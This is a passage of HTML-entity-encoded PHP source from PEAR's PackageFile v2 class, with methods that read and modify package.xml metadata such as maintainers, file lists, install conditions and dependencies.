            (isset($this-&gt;_packageInfo[&#039;developer&#039;])) ?
                $ret[&#039;developer&#039;] = $this-&gt;_packageInfo[&#039;developer&#039;] :null;
            (isset($this-&gt;_packageInfo[&#039;contributor&#039;])) ?
                $ret[&#039;contributor&#039;] = $this-&gt;_packageInfo[&#039;contributor&#039;] :null;
            (isset($this-&gt;_packageInfo[&#039;helper&#039;])) ?
                $ret[&#039;helper&#039;] = $this-&gt;_packageInfo[&#039;helper&#039;] :null;
            return $ret;
        } else {
            $ret = array();
            $leads = isset($this-&gt;_packageInfo[&#039;lead&#039;][0]) ? $this-&gt;_packageInfo[&#039;lead&#039;] :
                array($this-&gt;_packageInfo[&#039;lead&#039;]);
            foreach ($leads as $lead) {
                $s = $lead;
                $s[&#039;handle&#039;] = $s[&#039;user&#039;];
                unset($s[&#039;user&#039;]);
                $s[&#039;role&#039;] = &#039;lead&#039;;
                $ret[] = $s;
            }
            if (isset($this-&gt;_packageInfo[&#039;developer&#039;])) {
                $leads = isset($this-&gt;_packageInfo[&#039;developer&#039;][0]) ?
                    $this-&gt;_packageInfo[&#039;developer&#039;] :
                    array($this-&gt;_packageInfo[&#039;developer&#039;]);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s[&#039;handle&#039;] = $s[&#039;user&#039;];
                    unset($s[&#039;user&#039;]);
                    $s[&#039;role&#039;] = &#039;developer&#039;;
                    $ret[] = $s;
                }
            }
            if (isset($this-&gt;_packageInfo[&#039;contributor&#039;])) {
                $leads = isset($this-&gt;_packageInfo[&#039;contributor&#039;][0]) ?
                    $this-&gt;_packageInfo[&#039;contributor&#039;] :
                    array($this-&gt;_packageInfo[&#039;contributor&#039;]);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s[&#039;handle&#039;] = $s[&#039;user&#039;];
                    unset($s[&#039;user&#039;]);
                    $s[&#039;role&#039;] = &#039;contributor&#039;;
                    $ret[] = $s;
                }
            }
            if (isset($this-&gt;_packageInfo[&#039;helper&#039;])) {
                $leads = isset($this-&gt;_packageInfo[&#039;helper&#039;][0]) ?
                    $this-&gt;_packageInfo[&#039;helper&#039;] :
                    array($this-&gt;_packageInfo[&#039;helper&#039;]);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s[&#039;handle&#039;] = $s[&#039;user&#039;];
                    unset($s[&#039;user&#039;]);
                    $s[&#039;role&#039;] = &#039;helper&#039;;
                    $ret[] = $s;
                }
            }
            return $ret;
        }
        return false;
    }

    function getLeads()
    {
        if (isset($this-&gt;_packageInfo[&#039;lead&#039;])) {
            return $this-&gt;_packageInfo[&#039;lead&#039;];
        }
        return false;
    }

    function getDevelopers()
    {
        if (isset($this-&gt;_packageInfo[&#039;developer&#039;])) {
            return $this-&gt;_packageInfo[&#039;developer&#039;];
        }
        return false;
    }

    function getContributors()
    {
        if (isset($this-&gt;_packageInfo[&#039;contributor&#039;])) {
            return $this-&gt;_packageInfo[&#039;contributor&#039;];
        }
        return false;
    }

    function getHelpers()
    {
        if (isset($this-&gt;_packageInfo[&#039;helper&#039;])) {
            return $this-&gt;_packageInfo[&#039;helper&#039;];
        }
        return false;
    }

    function setDate($date)
    {
        if (!isset($this-&gt;_packageInfo[&#039;date&#039;])) {
            // ensure that the extends tag is set up in the right location
            $this-&gt;_packageInfo = $this-&gt;_insertBefore($this-&gt;_packageInfo,
                array(&#039;time&#039;, &#039;version&#039;,
                    &#039;stability&#039;, &#039;license&#039;, &#039;notes&#039;, &#039;contents&#039;, &#039;compatible&#039;,
                    &#039;dependencies&#039;, &#039;providesextension&#039;, &#039;srcpackage&#039;, &#039;srcuri&#039;,
                    &#039;phprelease&#039;, &#039;extsrcrelease&#039;, &#039;extbinrelease&#039;, &#039;zendextsrcrelease&#039;,
                    &#039;zendextbinrelease&#039;, &#039;bundle&#039;, &#039;changelog&#039;), array(), &#039;date&#039;);
        }
        $this-&gt;_packageInfo[&#039;date&#039;] = $date;
        $this-&gt;_isValid = 0;
    }

    function setTime($time)
    {
        $this-&gt;_isValid = 0;
        if (!isset($this-&gt;_packageInfo[&#039;time&#039;])) {
            // ensure that the time tag is set up in the right location
            $this-&gt;_packageInfo = $this-&gt;_insertBefore($this-&gt;_packageInfo,
                    array(&#039;version&#039;,
                    &#039;stability&#039;, &#039;license&#039;, &#039;notes&#039;, &#039;contents&#039;, &#039;compatible&#039;,
                    &#039;dependencies&#039;, &#039;providesextension&#039;, &#039;srcpackage&#039;, &#039;srcuri&#039;,
                    &#039;phprelease&#039;, &#039;extsrcrelease&#039;, &#039;extbinrelease&#039;, &#039;zendextsrcrelease&#039;,
                    &#039;zendextbinrelease&#039;, &#039;bundle&#039;, &#039;changelog&#039;), $time, &#039;time&#039;);
        }
        $this-&gt;_packageInfo[&#039;time&#039;] = $time;
    }

    function getDate()
    {
        if (isset($this-&gt;_packageInfo[&#039;date&#039;])) {
            return $this-&gt;_packageInfo[&#039;date&#039;];
        }
        return false;
    }

    function getTime()
    {
        if (isset($this-&gt;_packageInfo[&#039;time&#039;])) {
            return $this-&gt;_packageInfo[&#039;time&#039;];
        }
        return false;
    }

    /**
     * @param package|api version category to return
     */
    function getVersion($key = &#039;release&#039;)
    {
        if (isset($this-&gt;_packageInfo[&#039;version&#039;][$key])) {
            return $this-&gt;_packageInfo[&#039;version&#039;][$key];
        }
        return false;
    }

    function getStability()
    {
        if (isset($this-&gt;_packageInfo[&#039;stability&#039;])) {
            return $this-&gt;_packageInfo[&#039;stability&#039;];
        }
        return false;
    }

    function getState($key = &#039;release&#039;)
    {
        if (isset($this-&gt;_packageInfo[&#039;stability&#039;][$key])) {
            return $this-&gt;_packageInfo[&#039;stability&#039;][$key];
        }
        return false;
    }

    function getLicense($raw = false)
    {
        if (isset($this-&gt;_packageInfo[&#039;license&#039;])) {
            if ($raw) {
                return $this-&gt;_packageInfo[&#039;license&#039;];
            }
            if (is_array($this-&gt;_packageInfo[&#039;license&#039;])) {
                return $this-&gt;_packageInfo[&#039;license&#039;][&#039;_content&#039;];
            } else {
                return $this-&gt;_packageInfo[&#039;license&#039;];
            }
        }
        return false;
    }

    function getLicenseLocation()
    {
        if (!isset($this-&gt;_packageInfo[&#039;license&#039;]) || !is_array($this-&gt;_packageInfo[&#039;license&#039;])) {
            return false;
        }
        return $this-&gt;_packageInfo[&#039;license&#039;][&#039;attribs&#039;];
    }

    function getNotes()
    {
        if (isset($this-&gt;_packageInfo[&#039;notes&#039;])) {
            return $this-&gt;_packageInfo[&#039;notes&#039;];
        }
        return false;
    }

    /**
     * Return the &lt;usesrole&gt; tag contents, if any
     * @return array|false
     */
    function getUsesrole()
    {
        if (isset($this-&gt;_packageInfo[&#039;usesrole&#039;])) {
            return $this-&gt;_packageInfo[&#039;usesrole&#039;];
        }
        return false;
    }

    /**
     * Return the &lt;usestask&gt; tag contents, if any
     * @return array|false
     */
    function getUsestask()
    {
        if (isset($this-&gt;_packageInfo[&#039;usestask&#039;])) {
            return $this-&gt;_packageInfo[&#039;usestask&#039;];
        }
        return false;
    }

    /**
     * This should only be used to retrieve filenames and install attributes
     */
    function getFilelist($preserve = false)
    {
        if (isset($this-&gt;_packageInfo[&#039;filelist&#039;]) &amp;&amp; !$preserve) {
            return $this-&gt;_packageInfo[&#039;filelist&#039;];
        }
        $this-&gt;flattenFilelist();
        if ($contents = $this-&gt;getContents()) {
            $ret = array();
            if (!isset($contents[&#039;dir&#039;])) {
                return false;
            }
            if (!isset($contents[&#039;dir&#039;][&#039;file&#039;][0])) {
                $contents[&#039;dir&#039;][&#039;file&#039;] = array($contents[&#039;dir&#039;][&#039;file&#039;]);
            }
            foreach ($contents[&#039;dir&#039;][&#039;file&#039;] as $file) {
                if (!isset($file[&#039;attribs&#039;][&#039;name&#039;])) {
                    continue;
                }
                $name = $file[&#039;attribs&#039;][&#039;name&#039;];
                if (!$preserve) {
                    $file = $file[&#039;attribs&#039;];
                }
                $ret[$name] = $file;
            }
            if (!$preserve) {
                $this-&gt;_packageInfo[&#039;filelist&#039;] = $ret;
            }
            return $ret;
        }
        return false;
    }

    /**
     * Return configure options array, if any
     *
     * @return array|false
     */
    function getConfigureOptions()
    {
        if ($this-&gt;getPackageType() != &#039;extsrc&#039; &amp;&amp; $this-&gt;getPackageType() != &#039;zendextsrc&#039;) {
            return false;
        }

        $releases = $this-&gt;getReleases();
        if (isset($releases[0])) {
            $releases = $releases[0];
        }

        if (isset($releases[&#039;configureoption&#039;])) {
            if (!isset($releases[&#039;configureoption&#039;][0])) {
                $releases[&#039;configureoption&#039;] = array($releases[&#039;configureoption&#039;]);
            }

            for ($i = 0; $i &lt; count($releases[&#039;configureoption&#039;]); $i++) {
                $releases[&#039;configureoption&#039;][$i] = $releases[&#039;configureoption&#039;][$i][&#039;attribs&#039;];
            }

            return $releases[&#039;configureoption&#039;];
        }

        return false;
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     */
    function resetFilelist()
    {
        $this-&gt;_packageInfo[&#039;filelist&#039;] = array();
    }

    /**
     * Retrieve a list of files that should be installed on this computer
     * @return array
     */
    function getInstallationFilelist($forfilecheck = false)
    {
        $contents = $this-&gt;getFilelist(true);
        if (isset($contents[&#039;dir&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;])) {
            $base = $contents[&#039;dir&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;];
        }
        if (isset($this-&gt;_packageInfo[&#039;bundle&#039;])) {
            return PEAR::raiseError(
                &#039;Exception: bundles should be handled in download code only&#039;);
        }
        $release = $this-&gt;getReleases();
        if ($release) {
            if (!isset($release[0])) {
                if (!isset($release[&#039;installconditions&#039;]) &amp;&amp; !isset($release[&#039;filelist&#039;])) {
                    if ($forfilecheck) {
                        return $this-&gt;getFilelist();
                    }
                    return $contents;
                }
                $release = array($release);
            }
            $depchecker = &amp;$this-&gt;getPEARDependency2($this-&gt;_config, array(),
                array(&#039;channel&#039; =&gt; $this-&gt;getChannel(), &#039;package&#039; =&gt; $this-&gt;getPackage()),
                PEAR_VALIDATE_INSTALLING);
            foreach ($release as $instance) {
                if (isset($instance[&#039;installconditions&#039;])) {
                    $installconditions = $instance[&#039;installconditions&#039;];
                    if (is_array($installconditions)) {
                        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                        foreach ($installconditions as $type =&gt; $conditions) {
                            if (!isset($conditions[0])) {
                                $conditions = array($conditions);
                            }
                            foreach ($conditions as $condition) {
                                $ret = $depchecker-&gt;{&quot;validate{$type}Dependency&quot;}($condition);
                                if (PEAR::isError($ret)) {
                                    PEAR::popErrorHandling();
                                    continue 3; // skip this release
                                }
                            }
                        }
                        PEAR::popErrorHandling();
                    }
                }
                // this is the release to use
                if (isset($instance[&#039;filelist&#039;])) {
                    // ignore files
                    if (isset($instance[&#039;filelist&#039;][&#039;ignore&#039;])) {
                        $ignore = isset($instance[&#039;filelist&#039;][&#039;ignore&#039;][0]) ?
                            $instance[&#039;filelist&#039;][&#039;ignore&#039;] :
                            array($instance[&#039;filelist&#039;][&#039;ignore&#039;]);
                        foreach ($ignore as $ig) {
                            unset ($contents[$ig[&#039;attribs&#039;][&#039;name&#039;]]);
                        }
                    }
                    // install files as this name
                    if (isset($instance[&#039;filelist&#039;][&#039;install&#039;])) {
                        $installas = isset($instance[&#039;filelist&#039;][&#039;install&#039;][0]) ?
                            $instance[&#039;filelist&#039;][&#039;install&#039;] :
                            array($instance[&#039;filelist&#039;][&#039;install&#039;]);
                        foreach ($installas as $as) {
                            $contents[$as[&#039;attribs&#039;][&#039;name&#039;]][&#039;attribs&#039;][&#039;install-as&#039;] =
                                $as[&#039;attribs&#039;][&#039;as&#039;];
                        }
                    }
                }
                if ($forfilecheck) {
                    foreach ($contents as $file =&gt; $attrs) {
                        $contents[$file] = $attrs[&#039;attribs&#039;];
                    }
                }
                return $contents;
            }
        } else { // simple release - no installconditions or install-as
            if ($forfilecheck) {
                return $this-&gt;getFilelist();
            }
            return $contents;
        }
        // no releases matched
        return PEAR::raiseError(&#039;No releases in package.xml matched the existing operating &#039; .
            &#039;system, extensions installed, or architecture, cannot install&#039;);
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     * @param string file name
     * @param string installed path
     */
    function setInstalledAs($file, $path)
    {
        if ($path) {
            return $this-&gt;_packageInfo[&#039;filelist&#039;][$file][&#039;installed_as&#039;] = $path;
        }
        unset($this-&gt;_packageInfo[&#039;filelist&#039;][$file][&#039;installed_as&#039;]);
    }

    function getInstalledLocation($file)
    {
        if (isset($this-&gt;_packageInfo[&#039;filelist&#039;][$file][&#039;installed_as&#039;])) {
            return $this-&gt;_packageInfo[&#039;filelist&#039;][$file][&#039;installed_as&#039;];
        }
        return false;
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     */
    function installedFile($file, $atts)
    {
        if (isset($this-&gt;_packageInfo[&#039;filelist&#039;][$file])) {
            $this-&gt;_packageInfo[&#039;filelist&#039;][$file] =
                array_merge($this-&gt;_packageInfo[&#039;filelist&#039;][$file], $atts[&#039;attribs&#039;]);
        } else {
            $this-&gt;_packageInfo[&#039;filelist&#039;][$file] = $atts[&#039;attribs&#039;];
        }
    }

    /**
     * Retrieve the contents tag
     */
    function getContents()
    {
        if (isset($this-&gt;_packageInfo[&#039;contents&#039;])) {
            return $this-&gt;_packageInfo[&#039;contents&#039;];
        }
        return false;
    }

    /**
     * @param string full path to file
     * @param string attribute name
     * @param string attribute value
     * @param int risky but fast - use this to choose a file based on its position in the list
     *            of files.  Index is zero-based like PHP arrays.
     * @return bool success of operation
     */
    function setFileAttribute($filename, $attr, $value, $index = false)
    {
        $this-&gt;_isValid = 0;
        if (in_array($attr, array(&#039;role&#039;, &#039;name&#039;, &#039;baseinstalldir&#039;))) {
            $this-&gt;_filesValid = false;
        }
        if ($index !== false &amp;&amp;
              isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][$index][&#039;attribs&#039;])) {
            $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][$index][&#039;attribs&#039;][$attr] = $value;
            return true;
        }
        if (!isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;])) {
            return false;
        }
        $files = $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;];
        if (!isset($files[0])) {
            $files = array($files);
            $ind = false;
        } else {
            $ind = true;
        }
        foreach ($files as $i =&gt; $file) {
            if (isset($file[&#039;attribs&#039;])) {
                if ($file[&#039;attribs&#039;][&#039;name&#039;] == $filename) {
                    if ($ind) {
                        $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][$i][&#039;attribs&#039;][$attr] = $value;
                    } else {
                        $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][&#039;attribs&#039;][$attr] = $value;
                    }
                    return true;
                }
            }
        }
        return false;
    }

    function setDirtree($path)
    {
        if (!isset($this-&gt;_packageInfo[&#039;dirtree&#039;])) {
            $this-&gt;_packageInfo[&#039;dirtree&#039;] = array();
        }
        $this-&gt;_packageInfo[&#039;dirtree&#039;][$path] = true;
    }

    function getDirtree()
    {
        if (isset($this-&gt;_packageInfo[&#039;dirtree&#039;]) &amp;&amp; count($this-&gt;_packageInfo[&#039;dirtree&#039;])) {
            return $this-&gt;_packageInfo[&#039;dirtree&#039;];
        }
        return false;
    }

    function resetDirtree()
    {
        unset($this-&gt;_packageInfo[&#039;dirtree&#039;]);
    }

    /**
     * Determines whether this package claims it is compatible with the version of
     * the package that has a recommended version dependency
     * @param PEAR_PackageFile_v2|PEAR_PackageFile_v1|PEAR_Downloader_Package
     * @return boolean
     */
    function isCompatible($pf)
    {
        if (!isset($this-&gt;_packageInfo[&#039;compatible&#039;])) {
            return false;
        }
        if (!isset($this-&gt;_packageInfo[&#039;channel&#039;])) {
            return false;
        }
        $me = $pf-&gt;getVersion();
        $compatible = $this-&gt;_packageInfo[&#039;compatible&#039;];
        if (!isset($compatible[0])) {
            $compatible = array($compatible);
        }
        $found = false;
        foreach ($compatible as $info) {
            if (strtolower($info[&#039;name&#039;]) == strtolower($pf-&gt;getPackage())) {
                if (strtolower($info[&#039;channel&#039;]) == strtolower($pf-&gt;getChannel())) {
                    $found = true;
                    break;
                }
            }
        }
        if (!$found) {
            return false;
        }
        if (isset($info[&#039;exclude&#039;])) {
            if (!isset($info[&#039;exclude&#039;][0])) {
                $info[&#039;exclude&#039;] = array($info[&#039;exclude&#039;]);
            }
            foreach ($info[&#039;exclude&#039;] as $exclude) {
                if (version_compare($me, $exclude, &#039;==&#039;)) {
                    return false;
                }
            }
        }
        if (version_compare($me, $info[&#039;min&#039;], &#039;&gt;=&#039;) &amp;&amp; version_compare($me, $info[&#039;max&#039;], &#039;&lt;=&#039;)) {
            return true;
        }
        return false;
    }

    /**
     * @return array|false
     */
    function getCompatible()
    {
        if (isset($this-&gt;_packageInfo[&#039;compatible&#039;])) {
            return $this-&gt;_packageInfo[&#039;compatible&#039;];
        }
        return false;
    }

    function getDependencies()
    {
        if (isset($this-&gt;_packageInfo[&#039;dependencies&#039;])) {
            return $this-&gt;_packageInfo[&#039;dependencies&#039;];
        }
        return false;
    }

    function isSubpackageOf($p)
    {
        return $p-&gt;isSubpackage($this);
    }

    /**
     * Determines whether the passed in package is a subpackage of this package.
     *
     * No version checking is done, only name verification.
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2
     * @return bool
     */
    function isSubpackage($p)
    {
        $sub = array();
        if (isset($this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;required&#039;][&#039;subpackage&#039;])) {
            $sub = $this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;required&#039;][&#039;subpackage&#039;];
            if (!isset($sub[0])) {
                $sub = array($sub);
            }
        }
        if (isset($this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;optional&#039;][&#039;subpackage&#039;])) {
            $sub1 = $this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;optional&#039;][&#039;subpackage&#039;];
            if (!isset($sub1[0])) {
                $sub1 = array($sub1);
            }
            $sub = array_merge($sub, $sub1);
        }
        if (isset($this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;group&#039;])) {
            $group = $this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;group&#039;];
            if (!isset($group[0])) {
                $group = array($group);
            }
            foreach ($group as $deps) {
                if (isset($deps[&#039;subpackage&#039;])) {
                    $sub2 = $deps[&#039;subpackage&#039;];
                    if (!isset($sub2[0])) {
                        $sub2 = array($sub2);
                    }
                    $sub = array_merge($sub, $sub2);
                }
            }
        }
        foreach ($sub as $dep) {
            if (strtolower($dep[&#039;name&#039;]) == strtolower($p-&gt;getPackage())) {
                if (isset($dep[&#039;channel&#039;])) {
                    if (strtolower($dep[&#039;channel&#039;]) == strtolower($p-&gt;getChannel())) {
                        return true;
                    }
                } else {
                    if ($dep[&#039;uri&#039;] == $p-&gt;getURI()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    function dependsOn($package, $channel)
    {
        if (!($deps = $this-&gt;getDependencies())) {
            return false;
        }
        foreach (array(&#039;package&#039;, &#039;subpackage&#039;) as $type) {
            foreach (array(&#039;required&#039;, &#039;optional&#039;) as $needed) {
                if (isset($deps[$needed][$type])) {
                    if (!isset($deps[$needed][$type][0])) {
                        $deps[$needed][$type] = array($deps[$needed][$type]);
                    }
                    foreach ($deps[$needed][$type] as $dep) {
                        $depchannel = isset($dep[&#039;channel&#039;]) ? $dep[&#039;channel&#039;] : &#039;__uri&#039;;
                        if (strtolower($dep[&#039;name&#039;]) == strtolower($package) &amp;&amp;
                              $depchannel == $channel) {
                            return true;
                        }
                    }
                }
            }
            if (isset($deps[&#039;group&#039;])) {
                if (!isset($deps[&#039;group&#039;][0])) {
                    $dep[&#039;group&#039;] = array($deps[&#039;group&#039;]);
                }
                foreach ($deps[&#039;group&#039;] as $group) {
                    if (isset($group[$type])) {
                        if (!is_array($group[$type])) {
                            $group[$type] = array($group[$type]);
                        }
                        foreach ($group[$type] as $dep) {
                            $depchannel = isset($dep[&#039;channel&#039;]) ? $dep[&#039;channel&#039;] : &#039;__uri&#039;;
                            if (strtolower($dep[&#039;name&#039;]) == strtolower($package) &amp;&amp;
                                  $depchannel == $channel) {
                                return true;
                            }
                        }
                    }
                }
            }
        }
        return false;
    }

    /**
     * Get the contents of a dependency group
     * @param string
     * @return array|false
     */
    function getDependencyGroup($name)
    {
        $name = strtolower($name);
        if (!isset($this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;group&#039;])) {
            return false;
        }
        $groups = $this-&gt;_packageInfo[&#039;dependencies&#039;][&#039;group&#039;];
        if (!isset($groups[0])) {
            $groups = array($groups);
        }
        foreach ($groups as $group) {
            if (strtolower($group[&#039;attribs&#039;][&#039;name&#039;]) == $name) {
                return $group;
            }
        }
        return false;
    }

    /**
     * Retrieve a partial package.xml 1.0 representation of dependencies
     *
     * a very limited representation of dependencies is returned by this method.
     * The &lt;exclude&gt; tag for excluding certain versions of a dependency is
     * completely ignored.  In addition, dependency groups are ignored, with the
     * assumption that all dependencies in dependency groups are also listed in
     * the optional group that work with all dependency groups
     * @param boolean return package.xml 2.0 &lt;dependencies&gt; tag
     * @return array|false
     */
    function getDeps($raw = false, $nopearinstaller = false)
    {
        if (isset($this-&gt;_packageInfo[&#039;dependencies&#039;])) {
            if ($raw) {
                return $this-&gt;_packageInfo[&#039;dependencies&#039;];
            }
            $ret = array();
            $map = array(
                &#039;php&#039; =&gt; &#039;php&#039;,
                &#039;package&#039; =&gt; &#039;pkg&#039;,
                &#039;subpackage&#039; =&gt; &#039;pkg&#039;,
                &#039;extension&#039; =&gt; &#039;ext&#039;,
                &#039;os&#039; =&gt; &#039;os&#039;,
                &#039;pearinstaller&#039; =&gt; &#039;pkg&#039;,
                );
            foreach (array(&#039;required&#039;, &#039;optional&#039;) as $type) {
                $optional = ($type == &#039;optional&#039;) ? &#039;yes&#039; : &#039;no&#039;;
                if (!isset($this-&gt;_packageInfo[&#039;dependencies&#039;][$type])
                    || empty($this-&gt;_packageInfo[&#039;dependencies&#039;][$type])) {
                    continue;
                }
                foreach ($this-&gt;_packageInfo[&#039;dependencies&#039;][$type] as $dtype =&gt; $deps) {
                    if ($dtype == &#039;pearinstaller&#039; &amp;&amp; $nopearinstaller) {
                        continue;
                    }
                    if ((is_array($deps) &amp;&amp; !isset($deps[0])) || !is_array($deps)) {
                        $deps = array($deps);
                    }
                    foreach ($deps as $dep) {
                        if (!isset($map[$dtype])) {
                            // no support for arch type
                            continue;
                        }
                        if ($dtype == &#039;pearinstaller&#039;) {
                            $dep[&#039;name&#039;] = &#039;PEAR&#039;;
                            $dep[&#039;channel&#039;] = &#039;pear.php.net&#039;;
                        }
                        $s = array(&#039;type&#039; =&gt; $map[$dtype]);
                        if (isset($dep[&#039;channel&#039;])) {
                            $s[&#039;channel&#039;] = $dep[&#039;channel&#039;];
                        }
                        if (isset($dep[&#039;uri&#039;])) {
                            $s[&#039;uri&#039;] = $dep[&#039;uri&#039;];
                        }
                        if (isset($dep[&#039;name&#039;])) {
                            $s[&#039;name&#039;] = $dep[&#039;name&#039;];
                        }
                        if (isset($dep[&#039;conflicts&#039;])) {
                            $s[&#039;rel&#039;] = &#039;not&#039;;
                        } else {
                            if (!isset($dep[&#039;min&#039;]) &amp;&amp;
                                  !isset($dep[&#039;max&#039;])) {
                                $s[&#039;rel&#039;] = &#039;has&#039;;
                                $s[&#039;optional&#039;] = $optional;
                            } elseif (isset($dep[&#039;min&#039;]) &amp;&amp;
                                  isset($dep[&#039;max&#039;])) {
                                $s[&#039;rel&#039;] = &#039;ge&#039;;
                                $s1 = $s;
                                $s1[&#039;rel&#039;] = &#039;le&#039;;
                                $s[&#039;version&#039;] = $dep[&#039;min&#039;];
                                $s1[&#039;version&#039;] = $dep[&#039;max&#039;];
                                if (isset($dep[&#039;channel&#039;])) {
                                    $s1[&#039;channel&#039;] = $dep[&#039;channel&#039;];
                                }
                                if ($dtype != &#039;php&#039;) {
                                    $s[&#039;name&#039;] = $dep[&#039;name&#039;];
                                    $s1[&#039;name&#039;] = $dep[&#039;name&#039;];
                                }
                                $s[&#039;optional&#039;] = $optional;
                                $s1[&#039;optional&#039;] = $optional;
                                $ret[] = $s1;
                            } elseif (isset($dep[&#039;min&#039;])) {
                                if (isset($dep[&#039;exclude&#039;]) &amp;&amp;
                                      $dep[&#039;exclude&#039;] == $dep[&#039;min&#039;]) {
                                    $s[&#039;rel&#039;] = &#039;gt&#039;;
                                } else {
                                    $s[&#039;rel&#039;] = &#039;ge&#039;;
                                }
                                $s[&#039;version&#039;] = $dep[&#039;min&#039;];
                                $s[&#039;optional&#039;] = $optional;
                                if ($dtype != &#039;php&#039;) {
                                    $s[&#039;name&#039;] = $dep[&#039;name&#039;];
                                }
                            } elseif (isset($dep[&#039;max&#039;])) {
                                if (isset($dep[&#039;exclude&#039;]) &amp;&amp;
                                      $dep[&#039;exclude&#039;] == $dep[&#039;max&#039;]) {
                                    $s[&#039;rel&#039;] = &#039;lt&#039;;
                                } else {
                                    $s[&#039;rel&#039;] = &#039;le&#039;;
                                }
                                $s[&#039;version&#039;] = $dep[&#039;max&#039;];
                                $s[&#039;optional&#039;] = $optional;
                                if ($dtype != &#039;php&#039;) {
                                    $s[&#039;name&#039;] = $dep[&#039;name&#039;];
                                }
                            }
                        }
                        $ret[] = $s;
                    }
                }
            }
            if (count($ret)) {
                return $ret;
            }
        }
        return false;
    }

    /**
     * @return php|extsrc|extbin|zendextsrc|zendextbin|bundle|false
     */
    function getPackageType()
    {
        if (isset($this-&gt;_packageInfo[&#039;phprelease&#039;])) {
            return &#039;php&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;extsrcrelease&#039;])) {
            return &#039;extsrc&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;extbinrelease&#039;])) {
            return &#039;extbin&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;zendextsrcrelease&#039;])) {
            return &#039;zendextsrc&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;zendextbinrelease&#039;])) {
            return &#039;zendextbin&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;bundle&#039;])) {
            return &#039;bundle&#039;;
        }
        return false;
    }

    /**
     * @return array|false
     */
    function getReleases()
    {
        $type = $this-&gt;getPackageType();
        if ($type != &#039;bundle&#039;) {
            $type .= &#039;release&#039;;
        }
        if ($this-&gt;getPackageType() &amp;&amp; isset($this-&gt;_packageInfo[$type])) {
            return $this-&gt;_packageInfo[$type];
        }
        return false;
    }

    /**
     * @return array
     */
    function getChangelog()
    {
        if (isset($this-&gt;_packageInfo[&#039;changelog&#039;])) {
            return $this-&gt;_packageInfo[&#039;changelog&#039;];
        }
        return false;
    }

    function hasDeps()
    {
        return isset($this-&gt;_packageInfo[&#039;dependencies&#039;]);
    }

    function getPackagexmlVersion()
    {
        if (isset($this-&gt;_packageInfo[&#039;zendextsrcrelease&#039;])) {
            return &#039;2.1&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;zendextbinrelease&#039;])) {
            return &#039;2.1&#039;;
        }
        return &#039;2.0&#039;;
    }

    /**
     * @return array|false
     */
    function getSourcePackage()
    {
        if (isset($this-&gt;_packageInfo[&#039;extbinrelease&#039;]) ||
              isset($this-&gt;_packageInfo[&#039;zendextbinrelease&#039;])) {
            return array(&#039;channel&#039; =&gt; $this-&gt;_packageInfo[&#039;srcchannel&#039;],
                         &#039;package&#039; =&gt; $this-&gt;_packageInfo[&#039;srcpackage&#039;]);
        }
        return false;
    }

    function getBundledPackages()
    {
        if (isset($this-&gt;_packageInfo[&#039;bundle&#039;])) {
            return $this-&gt;_packageInfo[&#039;contents&#039;][&#039;bundledpackage&#039;];
        }
        return false;
    }

    function getLastModified()
    {
        if (isset($this-&gt;_packageInfo[&#039;_lastmodified&#039;])) {
            return $this-&gt;_packageInfo[&#039;_lastmodified&#039;];
        }
        return false;
    }

    /**
     * Get the contents of a file listed within the package.xml
     * @param string
     * @return string
     */
    function getFileContents($file)
    {
        if ($this-&gt;_archiveFile == $this-&gt;_packageFile) { // unpacked
            $dir = dirname($this-&gt;_packageFile);
            $file = $dir . DIRECTORY_SEPARATOR . $file;
            $file = str_replace(array(&#039;/&#039;, &#039;\\&#039;),
                array(DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR), $file);
            if (file_exists($file) &amp;&amp; is_readable($file)) {
                return implode(&#039;&#039;, file($file));
            }
        } else { // tgz
            $tar = new Archive_Tar($this-&gt;_archiveFile);
            $tar-&gt;pushErrorHandling(PEAR_ERROR_RETURN);
            if ($file != &#039;package.xml&#039; &amp;&amp; $file != &#039;package2.xml&#039;) {
                $file = $this-&gt;getPackage() . &#039;-&#039; . $this-&gt;getVersion() . &#039;/&#039; . $file;
            }
            $file = $tar-&gt;extractInString($file);
            $tar-&gt;popErrorHandling();
            if (PEAR::isError($file)) {
                return PEAR::raiseError(&quot;Cannot locate file &#039;$file&#039; in archive&quot;);
            }
            return $file;
        }
    }

    function &amp;getRW()
    {
        if (!class_exists(&#039;PEAR_PackageFile_v2_rw&#039;)) {
            require_once &#039;PEAR/PackageFile/v2/rw.php&#039;;
        }
        $a = new PEAR_PackageFile_v2_rw;
        foreach (get_object_vars($this) as $name =&gt; $unused) {
            if (!isset($this-&gt;$name)) {
                continue;
            }
            if ($name == &#039;_config&#039; || $name == &#039;_logger&#039;|| $name == &#039;_registry&#039; ||
                  $name == &#039;_stack&#039;) {
                $a-&gt;$name = &amp;$this-&gt;$name;
            } else {
                $a-&gt;$name = $this-&gt;$name;
            }
        }
        return $a;
